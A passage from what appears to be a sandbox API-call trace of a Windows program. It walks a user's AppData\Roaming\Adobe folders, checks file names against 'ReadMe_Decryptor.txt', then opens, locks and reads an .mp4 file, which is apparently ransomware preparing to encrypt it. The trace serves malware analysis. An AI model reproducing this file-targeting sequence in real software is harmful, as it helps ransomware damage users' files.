cAlternateFileName="")) returned 1 [0046.582] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0046.582] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0046.582] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0046.582] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0046.582] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0046.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0046.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa6) returned 0x28d0920 [0046.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0046.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0046.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.583] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.583] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0046.583] lstrcmpW (lpString1="Dictionaries", lpString2=".") returned 1 [0046.583] lstrcmpW (lpString1="Dictionaries", lpString2="..") returned 1 [0046.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d14a8 [0046.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0046.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0046.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.583] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.585] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.585] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.585] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0046.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.585] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.585] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0046.585] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.585] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0046.585] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0046.585] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0046.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.585] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.586] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.586] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.587] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0046.587] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.588] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0046.588] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0046.588] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0046.588] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa6) returned 0x28d14a8 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0046.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0046.588] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0046.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0046.588] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.588] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0046.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0046.588] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0046.589] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0046.589] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0046.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0046.589] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0046.589] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0046.589] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0046.589] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d02f150, ftCreationTime.dwHighDateTime=0x1d5c025, ftLastAccessTime.dwLowDateTime=0x4b129e40, ftLastAccessTime.dwHighDateTime=0x1d5bebf, ftLastWriteTime.dwLowDateTime=0x4b129e40, ftLastWriteTime.dwHighDateTime=0x1d5bebf, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEvfcf6R_0xBfR.mp4", cAlternateFileName="AEVFCF~1.MP4")) returned 1 [0046.589] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0046.589] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.590] lstrcmpW (lpString1="AEvfcf6R_0xBfR.mp4", lpString2="ReadMe_Decryptor.txt") returned -1 [0046.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AEvfcf6R_0xBfR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\aevfcf6r_0xbfr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0046.590] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x26b0 [0046.590] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0046.590] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0046.590] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0046.591] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.591] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x26b0, lpOverlapped=0x0) returned 1 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0046.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0046.591] GetLastError () returned 0x0 [0046.591] SetLastError (dwErrCode=0x0) [0046.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0046.591] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0046.591] GetLastError () returned 0x0 [0046.591] SetLastError (dwErrCode=0x0) [0046.591] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0046.592] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0046.592] GetLastError () returned 0x0 [0046.592] SetLastError (dwErrCode=0x0) [0046.592] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 